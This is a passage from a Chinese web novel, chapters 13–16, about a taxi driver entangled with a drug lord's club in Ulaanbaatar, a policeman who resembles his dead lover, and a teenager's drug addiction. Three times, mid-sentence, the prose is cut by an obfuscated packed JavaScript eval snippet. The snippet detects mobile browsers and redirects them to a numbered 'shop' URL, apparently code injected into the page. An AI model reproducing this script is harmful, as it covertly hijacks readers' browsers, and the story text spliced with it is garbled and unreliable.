“所以你以前是他手底下的.......小姐?”陈东实略意识到事态的复杂。 “嗯......”徐丽点点头,背过身去,不愿面对陈东实,“马德文看着人模狗样,实则杀人不见血,跟张猴是一路性子的人。我也不知道怎么回事,他几年前就缠上了我,时不时要我做他老婆,和他结婚。我不愿意,他就强要我,逼我卖,后来我好不容易从达尔罕逃回国,又从国内逃到外蒙,结果还是被他找到了......” 徐丽越说越难受,没忍住失声痛哭起来。陈东实看着她娇弱的背影,唏嘘不尽,可他又不知道如何安慰,能做的,只有静静陪在她身边。 “我说认真的.......东哥......不然就断了吧。”徐丽哭得上气不接下气,“马德文不是个轻易能招惹的,连警察都管不了.......他就是个活阎王!” “那你呢?”陈东实于心不忍,挣扎片刻后,又问:“不说别的,今晚你怎么办?你去陪了,也只会纵容他们更加肆无忌惮,下次还得找你。” “那我能怎么办?” 徐丽回过头,露出一双伤心眼。 美女即便是流泪,依旧是好看的。 “我陪你去。”陈东实抚上她的肩,“当哥的保护你。” 13. Chapter 13 金蝶位于巴彦格勒区最繁华处,与苏赫巴托广场不过一路之隔。为防节外生枝,陈东实没开自己车,选择和徐丽乘公共交通前往。 巴彦格勒一到晚上,灯红酒绿、人声嘈杂,两人先是去街口夜市塞了点小吃,见马德文远远从一辆豪华轿车里下来,被众小弟众星捧月般护送进金蝶,两人这才放下吃的,跟上前去。 陈东实很少来这种地方,什么酒吧、KTV、发廊,在他这样的农民子弟眼里,都是不正经人来的地方。 年轻时曾有一回陪李威龙庆生,一伙人邀他去KTV里玩,陈东实愣是被那冲天响的音乐声给吓退了,唱到一半就走了,从那以后再也没光顾过类似场所。 这一回为了陪徐丽,陈东实属实连命也不要了。他知道今天跟上回不同,自己不是来唱歌儿的,从踏进金蝶的那一刻起,他和徐丽就将身家性命拴在了一条船上。 “马德文为人奢侈,出手阔绰。他在金蝶有固定的总包,跟外头这些包厢不能比。” 徐丽裹紧风衣,紧贴着陈东实,一脸警惕地看着过道两旁的保镖。 “你瞧那些人,穿着西装,打着领带,看着一个个人模狗样,实则是马德文的鹰犬,打起人来,下手一个比一个狠。” 徐丽带着陈东实一路向内走,穿过甬道,上货梯到二楼,最后在一扇厚重的钢化门前停下了脚。 门口站着两位戴着墨镜的壮汉,见来者是徐丽,二话没说,掰动铁把手,钢化门在一片轰隆声中徐徐拉开。 包厢内另有天地,冰蓝色的霓虹灯伴随音乐规律闪烁,桌上放着几套成色不菲的紫砂茶具。马德文坐在沙发正中,一群人乌泱泱地站在两旁,地上半躺着个被打得浑身是血的男人。陈东实一进来便吓了一跳。 “拉下去,别吓到客人。” 马德文擦了擦手,将帕子扔给旁边张猴,起身迎接缓缓走近的陈徐二人。 不同于楼下包房里那些打了鸡血似的摇滚激昂,马德文的包厢更加清静闲雅,和他本人的气质一样,于无声处蕴藏杀机。 陈东实忍不住打了个寒战。 “你看看,我刚到,还没处理完手头上的事儿,你们就来了。” 马德文瞟了眼地上的男人,使了个眼色,众人飞快将人拖了下去。张猴拿来拖把,三下五除二便将血渍清理了个透,陈东实没猜错的话,马德文口里的“手头上的事”,应该就是收拾刚刚那个人。 “外面冷吗?”马德文看着徐丽包得密不透风的身材,淡淡一笑:“穿这么严实,就这么怕被我看?” 徐丽屈身坐到他身边,没等马德文抬手,自个儿解开风衣扣子,露出里头一水儿的大红色吊带裙。 “不愧是我丽姐,”马德文哼哼作叹,眼里不加掩饰的怜爱,“这么俗的颜色上了你的身,还这么漂亮,到底是杭巴的头牌。” 徐丽极牵强地挤出一抹笑,眼底满是隐忍与屈辱,这些只有陈东实能看到。 “还不知道怎么称呼你朋友?” “陈山海。”陈东实临时诌了个假名,“叫我老陈就行。” “那怎么行,就叫你山海兄吧。”马德文招呼他坐到自己旁边,一手搂着徐丽,一手勾着陈东实的肩。略一个眼色,不到半分钟进来一队年轻女孩,各个齐臀小短裙,上身穿着清凉的比基尼,清一色连连看一样的浓艳笑容。 “山海兄,随便挑,”马德文随手指了指,见陈东实没啥反应,笑了笑,“我懂了,山海兄品味脱俗,看不上这群庸脂俗粉,猴崽,换一批。” 马德文打了个响指,一眨眼功夫,又进来一批陪酒女,姿色比刚刚那一批更好些,可陈东实仍然无动于衷。 “还看不上?”马德文一脸揶揄,“没有男人不好色的,山海兄,难不成你是喜欢.......” 他将目光徐徐转向身旁的徐丽。 陈东实忙辩解,“不是的马老板.......我跟徐丽......只是朋友.......只是把她当妹妹。” “那你是她哥咯?”马德文拍了拍他的肩,起手为他沏茶,“徐丽的哥,就是我的哥,来,山海哥,我以茶代酒,敬您一杯。” 陈东实接过茶盏,越过马德文忽明忽暗的面色,瞥了徐丽一眼。见徐丽轻点了点头,他才放心饮下。茶是好茶,徐丽没说错,马德文的讲究从一杯茶里便可见一斑。 “德叔,”张猴裹着满脑袋绷带吭哧上前,“他们来了.......” “让他们进来。”马德文立刻收起一脸慈笑,陈东实随他一道望去,见众女郎身后走来几个男人,领头的那个,脸上带疤,看着就不是什么善茬。 “马德文,出息啊。”刀疤男哼笑一声,将手上的布包扔到茶几上,陈东实正眼一瞧,猛地看到,老钟的儿子大钟也在随行队伍里。 他似乎也看到了自己,隔着众人,与陈东实打了个照面。今天第三天,是陈东实给他的最后期限,他没去自首,而是跑到了这里,看这样子,是打算不撞南墙不回头了。 陈东实在心里哀叹一声,没等他细细感慨,张猴上前解开那布包,里头是成斤论的白.粉,陈东实一辈子都没见过这么多的白.粉。 “你要的,我给了,那我要的,你打算什么时候兑现?” 刀疤男抬了抬手,大钟俯身上前,递上一沓医疗单据。 “你手下猪仔打我二弟时可没留情,人现在还在医院躺着,医生说以后怕是不能下地走路了,这你怎么说?” “和气生财,和气生财嘛。”马德文温厚一笑,把玩着手上的紫檀珠,气定神闲,“不然,你也打断他一条腿得了,咱们一换一,不让你吃亏。” 寥寥几句,好像一条鲜活的生命只是酒桌上纵横的筹码,谈笑间极尽冷血。 刀疤男扶膝坐下,脑袋一偏,看到坐在旁边的徐丽。 “丽姐也在啊,”他显然认识徐丽,“看不出咱马老板还是个情种啊,追人追到了这儿,没少费功夫吧?” “追?”马德文将徐丽往怀里拢了拢,“我看上的女人,还需要追吗?她不是一直都在我老马手心里攒着吗?” 众人一阵哄笑。 “行了,不跟你耍嘴皮子,”刀疤男拿起桌上的一串葡萄,毫不见外地塞进嘴里,“你上回让我帮你找的内线,我找了,只是这个人,情况有些特殊,你见到了,一定也会意外。” 马德文眸色微转,露出一抹意味深长。 “那群吃公家饭的就没消停过,听说前段时间刚从国内调来一批精锐,全安插进了缉毒队,以后走货,怕是要越来越难了。” 刀疤男打了个手势,大钟心领神会,拍拍手,大门“轰隆”一声,那位内线扶着大腿,一瘸一拐地走了进来。 陈东实心生不妙,没等他求证心中猜想,那人便坦步上前,露出陈东实脑海里预设出的那张脸。 李威龙......?! 陈东实心头一震,不对,应该说是梁泽。 他居然是马德文的内线?还跟这群不三不四的人搅合在了一起......?这到底是怎么回事? 没等陈东实从错愕中回过神,只见梁泽垂手一笑,恭敬有礼道:“德叔,久仰大名,想见你很久了。” “这不是.......”马德文也惊了,饶有兴致地放下手里的茶,盯着他的脸,端详良久。 “没错,马老板,这家伙,跟当初王瘤子捅死的那个小警察长得一模一样。”刀疤男走到梁泽身边,搭上他肩:“这就是你一直心心念念的马老板,马德文,金蝶的大股东,也是咱们外蒙走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281111|140034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 货量最大的分销商。” “你.......”马德文惊叹不已,“真的不是李威龙?世界上怎么会有这么相像的两个人,你们是双胞胎?” 陈东实充耳不闻,同时大脑飞速运转,他想,刀疤男口里的王瘤子,应该就是那个王肖财。 也就是说,王肖财也是他们中的一员,而马德文也知道李威龙的存在,且他们都跟李威龙的死有关。 原来这些零零散散的线,不知不觉都搭在了一起,那么关于李威龙死去的真相,是不是也另有隐情? 陈东实强忍住新发现的窃喜与惊悸,不动声色地望向梁泽。好在他没有注意到自己,全部心思都在马德文一人身上。或许是反卧底,也不是不可能,陈东实莫名相信,梁泽不可能是这群人的走狗。 “马老板放心,我查过了,这家伙底细干净得很。”刀疤男引人坐到沙发上,塞给他几颗葡萄,“老家呼和浩特,福利院长大,无父无母,三代内都无旁系血亲。这还是我从前老东家引荐的,贡献过好些个重要情报,脑子转得也快,最关键的是——” 刀疤男用手指蘸了蘸茶水,点在桌面上。 “他刚进了缉毒队,就在这批新来的干警名单上,帮咱们通风报信,最合适不过。” 陈东实一字不漏地听着,目光微移,用余光细细观察着梁泽的脸。 他不是生病了吗?怎么会出现在这里?不过好像也不冲突,看他的气色,的确比上回苍白许多,许是大病初愈,还没来得及细细疗养。几天不见,陈东实心中有太多话想说。 “梁警官......” 趁小便的功夫,陈东实找机会将人堵在男厕。马德文等一行人还在包厢畅饮,汹涌如浪的音乐声透过隔音墙,将地上的瓷砖震得嗡嗡作响。 梁泽从洗手池里抬起眼,甩了甩手上的水渍,回身一笑,“您是.......?” “是我啊,陈东实。”陈东实见对方好像忘了自己,不由生出一丝难过,“我们见过的,在......在警察局......” “哦,我记起来了,你就是那个.......那个人。”梁泽恍然醒悟,站定在他身前,“怎么,很惊讶吗?” “梁警官,你是故意来这儿的对不对?”陈东实将人拉到角落,收紧了嗓门,说:“外头那些人是什么成分你不是不明白,你一个人来这儿,很危险的。” “那你呢?”梁泽低头一笑,眼底闪过一丝温润,“守法公民,不该和这些人坐在一起。” “我知道的.......你肯定有苦衷,你有你自己不好明说的理由。”陈东实拉紧眼前人的袖子,乞怜道,“我不管你是真的也好,假的也罢,离他们远点好不好?他们不是什么好人。” “我是警察。”梁泽扶住他的肩,看了眼廊外,回过头来,目光坚定,“我会保护好自己。” “李威龙.......”陈东实望着他那双眼,纵然皮囊如旧,可眼里的陌生与疏离,如千万根银针刺在心头,“不对,该叫你梁泽......” 梁泽温温不语。 “我是个普通人,没什么本事,连自己最心爱的人都保护不了,”陈东实握住他的手,反复用掌心摩擦着他手背,“不要让我再一次失去你好不好......不要......不要让历史重演......哪怕你不是他,不是威龙.......请体谅一个思念的人的苦心,同样的事我不想再经历一遍......” “陈先生,你反应有些过激了.......”梁泽抽回被无端触碰的手,眉头微蹙,“请自重。” 陈东实顺着他的目光向下一看,见他左手中指上,一枚钻石熠熠生光。 梁泽微举起手,索性亮出那枚戒指,说:“没看错,我已经订婚了。” 14. Chapter 14 订婚...... 陈东实足底一阵发虚,险些摔倒在地。 他怎么会订婚......李威龙不是.......不是和自己一样.......他怎么可能订婚呢? 陈东实望着眼前人的脸,第一次清晰地意识到,这不是李威龙,这是梁泽。即便先前澄清了千百遍,身边人也告诉了他千百遍,这是梁泽,可他心里依旧把他当做李威龙。 而如今,亲耳听到他的婚讯,他要结婚了?还是和一个女人?陈东实彷如站在一座土崩瓦解的山前,扑面而来的真实像一场泥石流,将他整个人淹没至死。 他压抑得喘不过气来。 “陈先生.......?”梁泽用手在他面前虚晃了晃,“你还好吗?” 陈东实痴痴然抬起眸,强装镇定,“.......你说的是真的?” 多此一举的问题,陈东实没少问,也不缺这一回,可他就是想听梁泽亲口对自己说。 “真的,年底就结婚,她是个老师。” 梁泽一提起未婚妻,面泛微笑,这是装不出来的。 “她也在乌兰巴托?” “在国内,老家。” “认识多久了?” 梁泽没有急着回答他,转身抽了张纸,递给了陈东实。 他见陈东实不知怎么了,头上冒了许多的汗,在梁泽看来,陈东实留给他最深的印象便是执着。 “结婚好.......”陈东实咬紧牙关,愣是没让眼泪掉下来,“结婚好啊......” 他大口大口地喘着,像是哮喘发作一般,盈盈的光在眼窝里打转。 “我这辈子没喝过喜酒,也没随过正儿八经的份子,更很少说漂亮的话.......”陈东实自言自语,他半躬下身,腹绞般捂着肚子,“既然这样,那我祝你幸福美满,早生贵子.......” “对不起......”梁泽只想到了这三个字,用来慰藉眼前人的伤心。 陈东实抬起头,目色一沉,“你不用跟我说对不起,该说对不起的是我,一直以来都是我在纠缠你。” “我知道你一直走不出去,李警官走了,我们都很痛心。”梁泽朝陈东实伸出一只手,“不过没关系,我可以帮你.......” “帮我......?” 陈东实一时语塞,仿佛真的看到了李威龙站在了自己面前。他还是那样年轻,那样洁净无垢、不染尘埃。终年的苦等浓缩成这转瞬一刻的肖想,陈东实已然知足,他分秒不让地盯着梁泽的脸,生怕错过他脸上任何一道皱纹。 “听曹队说,过两天就是他的忌日。”梁泽拿出纸笔,将一张抄了自己号码的便签塞到陈东实怀里,“那天我正好轮休。” “你要陪我一起去扫墓吗.......” “你想的话。” “为什么愿意帮我?” “就像你说的,”梁泽回过头,微微一笑,“体谅一个思念之人的苦心。” …… 陈东实回包厢后心情舒缓不少,要他心情好其实很简单,命脉全在梁泽。他感觉自己就像一个木偶,情绪的阀门开关都掌握在梁泽手上,他随心思牵动,自己的喜乐哀怒也会逐一变幻,陈东实为数不多的自我里,装满了李威龙。 在包厢里坐了一夜,出金蝶已经是凌晨四五点,徐丽留在了马德文身边,陈东实观察了一晚上,她应该不会有什么危险。马德文虽行事狠辣,但对徐丽,百般宠爱,要顾忌的只是他身边那群手下。 而梁泽中途便随刀疤男等一伙人走了,陈东实没急着回家,而是先在金蝶门口待了会,见众人陆续走散了才跟上去。 他要跟踪的人是大钟。 喝得死醉的大钟哪里还留意得到后头的动静,走出几百米都没察觉到什么。陈东实见四处无人,“嗖”地一声从后头钳住他,将人连拖带拽卷进了旁边的小树林里。 “我怎么跟你说的?三天,就三天?结果你就这么浪费我给你的机会?” 陈东实气不打一处来,对大小钟,他向来跟亲儿子一样。如今见他迷途不知返,心里何尝不恼,这明摆着是要逼他做恶人,把检举信递到缉毒大队去。 大钟吃了酒,但人不傻,他很快反应过来是陈东实,说,“我早说了,要揭发快揭发去,不用装什么好......” 话没说完,他“哇啦”一声,吐了一地,一股恶臭随之袭来。 陈东实忙摸索出纸,替他擦嘴,忽地一瞬,一张照片从大钟怀里掉了出来,陈东实捡起一看,是张全家福。 照片上的老钟,佝偻着背,笑意慈祥。他驼背不是为着习惯,而是顽疾。 常年出租车生涯让他四十不到就患了腰间盘突出,前年车祸,还撞断了两根肋骨,这个小家唯一的主心骨摇摇欲坠,但在这张照片里,仍坚持挂着看不出破绽的笑。 一切都那么美好,一切又都那么易碎...... 陈东实心底一阵发酸,搀着昏昏欲睡的大钟,缓步朝家的方向走。 一路上,他不再教育,一个字也没说,只是死死捏着那张照片,回到家时,他将照片悄悄放了回去。 整夜辗转难眠。 陈东实大早听到开门的声音,等他跑出去一看,沙发上的大钟已不告而别。门口玄关上放着一沓现金,被一樽招财猫压着,是他给自己的孝敬。 这孩子,路子邪,但心不坏,要怪只能怪老天爷。 陈东实回头翻出那封举报信,想了想,为时不晚,他还是应该帮他扶正这条路。 乌兰巴托没有早市的习惯,陈东实不吃早餐许多年。他先去公司交了个班,再开车去缉毒大队。正逢大清早没什么人,沿街店铺几乎没一家开门,他干净利落地将举报信投了进去,这回没像上次那样优柔寡断。 “陈东实......” 男人正准备离去,忽然听到背后有人在叫自己。陈东实循声一探,见梁泽不知什么时候出现在了身后。 他估计也是一夜未睡,两只眼睛肿得跟兔子眼一样。身上的衣服也没换,隔着好几米,还能闻到一股酒精和果盘的味道,是金蝶包厢里的味道。 “梁警官......”陈东实漾起一脸局促,“这么早,你也在啊......” 梁泽看他站在举报信箱前,似察觉到了什么,脸色一变,将人拉到一旁,“你疯啦?你不会是来举报马德文的吧?” “当然不是.......”陈东实赶忙否认,“跟他没关系......只是......只是一个熟人。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281112|140034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马德文势力庞大,眼线众多,不是你一个小司机就能撼动得了的。” 梁泽警惕地看了圈四处,将陈东实拉到了一个更隐蔽的位置。 “那梁警官呢?跟他们打交道,又是因为什么?” 陈东实顺着他的手腕看去,见他手上的订婚钻戒不知什么时候摘了下来,左手中指光秃秃的,没了那道让自己如鲠在喉的璀璨。 “你不需要知道这么多。”梁泽看了他一眼,望向别处,“我也不在乎别人怎么看我。” “我在乎.......”陈东实低声道,顿了顿,重复,“我在乎的。” “行了,感谢你的热心举报,回头有什么情况,我们同事会联系你的。”梁泽切换回公事公办的态度,无意同他闲扯太多。 “先别走.......” 陈东实倏地想起什么,小跑着钻进车里,拿出原本留作午餐的饺子。 “这个,给你。”他将饭盒塞到梁泽怀里,摸了摸后脑勺:“我老婆包的,给我留了不少。她手艺好,别看是速冻的,可煮了以后,跟新包的饺子一样......玉米猪肉馅儿的。” 梁泽微微一怔,显然被陈东实话里的“老婆”给卡住了,陈东实迅速反应过来,解释道:“是前妻.....前妻......我们已经离了。” “那我就不客气了,谢谢你。”梁泽大方收下,不由怀念:“刚来乌兰巴托,正吃不惯这儿的伙食,今天刚好借你的饺子,一饱口福。” “我也是这么想的,”陈东实傻乎乎地笑了笑,“饺子好,饺子吃了,团团圆圆。” 他期待着和某人团圆。 两人随后又寒暄了几句,陈东实还要去上班,聊不了太久。望着陈东实远去的背影,梁泽沉思良久,最后还是决定给曹建德打个电话。 他将昨天在金蝶偶遇陈东实,和他说的那些话,以及他投递举报信的事,一五一十全告诉了曹建德。 “你都把话说明白了?”电话里的曹建德声音闷闷的,像刚睡醒,“我是说你订婚的事。” “嗯。”梁泽煞有介事地点了点头,说:“不过他也给了我新思路,没准儿咱们一直使错了力气,坚持不懈地告诉陈东实,李威龙已死的事实。这或许是错的。” “什么意思?”曹建德顿被挑起了兴致。 “我想,与其一直告诉他,李威龙不在了,让他痛苦着清醒,不如就让他把我当做李威龙,更有助于开展我们的计划。”梁泽掂量着手里的饺子,沉甸甸的,隔着铁皮饭盒,还能察觉到划过掌心的热流,“我也是昨天才发现,他跟马德文身边的一个女人有着密切的联系,马德文情妇众多,但对她的态度很是不同。这没准是个突破口......陈东实.......他或许能派上大用场。” “你是说徐丽?”曹建德跟着想到了什么,“李倩跟过这人,有过卖.淫前科和非法入境的案底。你需要,我回头让李倩把她档案发你。” “我得先会会她,”梁泽不自觉地揉了揉眉心,看着那盒饺子,略于心不忍道,“接近徐丽的第一步,先打通陈东实。” “会不会太残忍了?”曹建德问出了梁泽内心深处的忧患,“我是说......对陈东实来说,你这是在利用他......他知道了,一定会非常难过。” 15. Chapter 15 “求求你救救我孩子吧!求求你了!求求了.......!” 陈东实才转出巷子,车头突然钻出一道人影,他赶忙拉动急刹,“哧”地一声,轮胎被摩擦出数米之远。 “怎么回事?” 他摇下车窗,见有个女人双膝跪地,蜷在车头前,不停向自己磕着头。 “你这是干什么?!快起来......” 陈东实下车将人扶起,那女人他隐约见过,却一时想不起来,直到她撩起头发,露出那双和陈斌神似的眼睛,陈东实这才忆起,她是陈斌的母亲,两人在发廊的小别间里见过。 细说起来,陈东实最近忙,还真没抽出空去看看陈斌那小家伙。也不知道他最近怎么样,有没有找到份正经工作,陈东实原还想着,去劳务市场帮自己找活时,也帮他留意一下,不想人亲妈自己找上门来了。 陈素茹痛哭流涕道:“好心人,求你帮帮我儿子吧,求求你了......你让我做什么都可以......我给您磕头了.......” “到底怎么了?”陈东实有些摸不着头脑,“你怎么找到的我......还有.....陈斌他怎么了?” “是我无意从他嘴里听来了你的车牌号,一直在你单位门口蹲了你好久.......”陈素茹一把鼻涕一把泪,“也就是这几天的事......上礼拜他说,他找了个替人看仓库的活儿,可去了没两天就没了消息,我求了好多人去找,最后在一家宾馆里找到了他,谁想他跟一群男男女女挤在一张床上.......他.......他正往胳膊上扎着针......房间里放着好多针管.......” “扎针?!”陈东实猛然一惊,通体的寒意从后背蹿上后脑勺,“他......” 陈素茹含泪“嗯”了一下,验证了陈东实的想法,短短几天不见,陈斌就学会了吸.毒。 “人已经被抓了......”女人泣不成声,不停用衣角抹着泪,“只是他在少管所,什么也听不进去,好心人,我知道你心肠好,跟我们家斌儿关系好,求你跟我一起去看看他,开解开解他,我就这么一个孩子,我不想他就这么毁了呀.......” 陈素茹越说越是激动,当着满街行人,不顾形象地嚎啕起来。陈东实先将她带回到了车上,开到僻静处,才敢细问具体情况。 “好端端的,他怎么沾上那玩意儿了?” 陈东实胃里一阵恶寒,明明数天之前,陈斌还同自己坐在一辆车上,说自己是他的冤家。两人你来我往地拌着嘴,怎么几天不见,一切就都变了。 自己身边的孩子都变了,大钟是,陈斌也是,他们一个个都陷进了迷沼里,就像失去翅膀的小鸟,莽撞而没有方向。 “我也不知道......”陈素茹渐止住哭声,哽咽不清道:“他从小养在老家,我爸妈看着,刚来外蒙不到一个月,同我也不怎么亲近,许多事只憋在心里。我只晓得他在外头总跟一群混混鬼混,一定是他们教的,带坏了他,一定是.......!” “你先别激动,有话慢慢说......”陈东实转了转方向盘,火速往少管所方向开,“警察那边怎么说?” “说是第一次吸,还不至于成瘾,按规定拘留半个月。” “怎么会这样?”陈东实又气又恼,“这群小兔崽子,孰轻孰重都分不清?那是什么零食糖果吗?知不知道,吸毒是会死人的,他还那么年轻,难不成真一辈子都要毁在那东西上?!” 陈素茹埋头啜泣,眼泪吧嗒吧嗒地往下掉,哭得说不出话来了。 两人着急忙慌地赶到少管所,进门便报了陈斌的名字。窗口的工作人员见男人身后跟着陈素茹,不用说也猜到他们来找谁。 但里头人说:“现在不宜会面,要见的话,请改天再来吧。” “怎么不宜见面?就一会,一小会不行?” 陈东实趴在窗口,听着四面八方涌来的惨嚎声,他知道,那是吸毒者们在戒断。 “陈师傅......” 正当陈东实不知如何是好时,李倩从二楼走了下来。上午她得到消息,去青格尔泰区处理一起青少年斗殴事件,刚把闹事的几个小鬼送过来,不想下楼就撞见了老熟人。 “你怎么会在这儿......?”李倩看了眼他身侧的陈素茹,反应过来什么,说:“你认识陈斌?” “认识......”陈东实扯了扯笑,将李倩拉到一旁,熟络道,“能不能请你帮个忙,让我跟他妈见那孩子一面,就一小会,吩咐点事,您帮着通融通融。” 李倩一脸正色:“不是我们不通融,是陈斌现在不适合见面。他......” 女孩看了眼陈东实身后,心事重重,“他现在正在发作......见了面,只会让你们更加担心。” “他怎么了?!” 一直在后头偷听的陈素茹冲上前来,拉着李倩的手,不依不饶,“他怎么了?我儿子到底怎么了?!你快说他到底怎么了.......!” “您先放开我......”李倩疼得叫出了声,迅速抽身甩开陈素茹攀扯的手。陈东实从中阻拦道:“你别急,先听人警察把话说完,急是急不来的。” 陈素茹方才放开李倩,“扑通”一声跪在了地上。 “要见也行,只是不能进去,远远看一眼就罢。” 李倩甩着被拽疼的那只手,走到窗口前,跟里头的工作人员耳语了几句。不一会儿,李倩领着陈东实等人上里头屋子。里侧有许多房间,不同房间有不同的惨叫,一路走过时,听得陈东实心里发毛。 “就这儿了。” 协警站定在门前,拉开门上的窥视窗,里头还有层玻璃,外面人能看见里面,里面却看不见外面。 陈素茹欺身上前,恨不得将整个脑袋钻进窗户里,站在旁边的陈东实啥也没看着,只能借由女人的脸色,来判断屋子里是何情况。 “陈斌现在正处于危险期,情绪状态极不稳定,所以我们暂停了他的会面。”李倩抱着文件,音色干练,“他所吸食的毒品种类为甲.基苯.丙胺,俗称冰.毒。这是一种刺激性极强的有害化学品,人体依赖性很大,对大脑神经中枢有着不可逆的影响。” 陈东实拍了拍陈素茹的肩,见她一动不动地凝在小窗前,跟死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281113|140034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一样,顿时预感到一丝不妙。 “陈斌虽然是初犯,但据我们了解,他并非第一次吸食毒品,且每次吸入量巨大,更学会了使用注射、烫吸等方式,我们甚至还了解到,他最早接触毒品在来乌兰巴托前,相关情况我们已经问过这位女士,具体的通报,比如有无涉及毒品交易罪、携带罪的可能,还需要进一步调查。” “毒品交易......”陈素茹呆呆然回过身,一个劲摇头,“不可能,我的儿子不可能的,他不会有这么大的胆子做这种违法的事......警察同志,你们一定是搞错了.......” 陈东实见机凑上前去,往窗里望了一眼。只见陈斌侧躺在地上,双手捂着肚子,脸色灰青一片。 他的手臂处,密密麻麻布满了十多道抓痕,许是毒瘾发作时的自残反应,整个人的皮肤黑蒙蒙一片,像被附了层尸斑一样,骇人心神。 陈东实忙抽回身子,惊魂未定地靠在墙上,听里面人发出一阵又一阵痛苦的呻.吟。 “求求你放过他吧,警察同志,求求你了.......”陈素茹一下下磕着头,“我自己的孩子我心里有数,警察同志,求你可怜可怜我们,放过他吧.......!” 女人又哭又闹,很快引来了其他协警的注意。众人手忙脚乱地将人拖回到办事大厅,陈东实扶着她,同李倩说了好几声抱歉,最后不得以将陈素茹带回到车子上。 “警察他们有他们的规章制度,不是你想怎么样就怎么样的.......”陈东实拿来纸巾盒,抽了十来张纸给旁边人。 陈素茹抹着泪,哭声比刚刚小了,只是眼里的伤心怎么也抹不掉,看着着实可怜。 “要怪就怪他自己,好的不学,学些邪魔歪道,硬生生把自己毁了。”陈东实恨铁不成钢,气得直拍方向盘,“你说现在我们能怎么办?除了配合警察同志一起帮他戒毒,我们什么也做不了。” “我去求......我去跪着求......”陈素茹打住泪,像是想起了什么,拉开车门就要往外面冲。 “你求什么呀求!”陈东实一把将她扯回到位置上,大声呵斥,“你儿子脑子不好使,连你脑子也坏掉了吗?!那是吸毒!不是偷吃了一包零食,逃课去了次网吧那么简单!你去求,你去求佛祖都没用,你求了他们,他们把你儿子放了,你儿子就不吸毒了吗?该吸还得吸,这就跟赌博一样,有了第一次就有第二次,到死都逃不出这个怪圈!” 草草几句话,直接将陈素茹镇住。她呆坐在副驾上,脸上泪痕犹在,再也哭不出声了。 “这回还好,只关十五天。”陈东实渐放松了些语气,“我倒不是担心他现在,我是担心十五天后,他出来了,又该怎么办?” “大不了我拴着他,”沉默良久,陈素茹终于开口,“睡觉都拴着,一刻都不让他离开我,我就不信,那玩意儿药性那么大,还真能让我儿子转了性。” “现在也只能这样了。” 陈东实话没说完,兜里电话响了。 “陈叔叔.......你快来......”电话那头传来小钟的哭腔,“我爸中风了.......” 16. Chapter 16 陈东实一路火光带闪冲到医院时,其余人都到了。除了老钟老婆和小钟,还有两三个同公司的工友。 陈东实看了一圈,没看到大钟,大概反应过来是为着什么,心里某块地方不自觉地刺了一下。 “老陈......”老钟老婆见陈东实来了,忙收起一脸泪,招呼道:“老钟他......” “他怎么了?”陈东实没奢望从她嘴里听到答案,扭头问一旁的工友。其中一个跟钟国强走得近的,他说:“也不晓得是怎么回事,中午还好好的,一起交班去食堂吃饭。吃完饭还说下了班一起去钓鱼,结果中途接了个电话,说到一半人就倒下了。” “电话?”陈东实隐隐发虚,“谁的电话?” “我也不清楚,好像是公.安局的。老钟刚被抬到医院没多久,缉毒大队的人就来了,盘问了好久,还打听了不少他家老大的情况,这不人还没走,在里头跟医生说话呢。” 陈东实没说什么,走到医生办公室门前,刚要敲门,里面的警察钻了出来。 “梁泽......” 陈东实切切地唤了他一声,但对方并无反应,而是径直地越过自己,走到钟家母子身边。 “大概情况我们已经了解了,经过调查,您的儿子钟健翔,涉及非法持有毒品罪,毒品窝藏罪等数项罪名,已经严重违反了相关法律法规,按规定,钟健翔已被警方采取强.制措施,请你们两位跟我们一起回趟局里,配合调查。” 梁泽动作娴熟地亮出警官证,面容无私,他工作时和李威龙一样,冷冽到近乎不近人情。 “毒品......?” 钟母明显还不清楚是怎么回事,听闻这两个字,差点就要晕过去。 “警官,你是不是搞错了,我哥怎么可能私□□品呢.......”小钟扶着昏昏欲倒的母亲,一脸不可置信,“他.......他不过是个修车工,怎么可能去搞什么毒品?” 梁泽眉也不抬,有板有眼道:“我们接到匿名群众举报,立即展开了调查,在钟健翔位于市火车站东侧的廉租房床底,发现了约400g海.洛因,和十余种兴.奋剂、快乐水等违禁药品。你们不信,可以跟我们回局里慢慢了解。” 话刚说完,梁泽微微抬手,身侧协警立刻上前拉人。 “你别碰我!”小钟条件反射似的护在亲妈面前,自言自语,“廉租房......我哥没跟我说,他还在外面租了房子啊?” “梁警官.......”陈东实按捺不住了,一个箭步上前,挡在母子俩前面,“梁警官,这两人我认识......咱能不能借一步说话?” 梁泽面色稍缓,使了个眼色,示意协警退后,他跟陈东实拐到了无人的楼梯口。 “人是你举报的,我们依法办案,你现在又想说什么?”梁泽看着他的眼睛,并未因为两人的私交而有所宽宥。 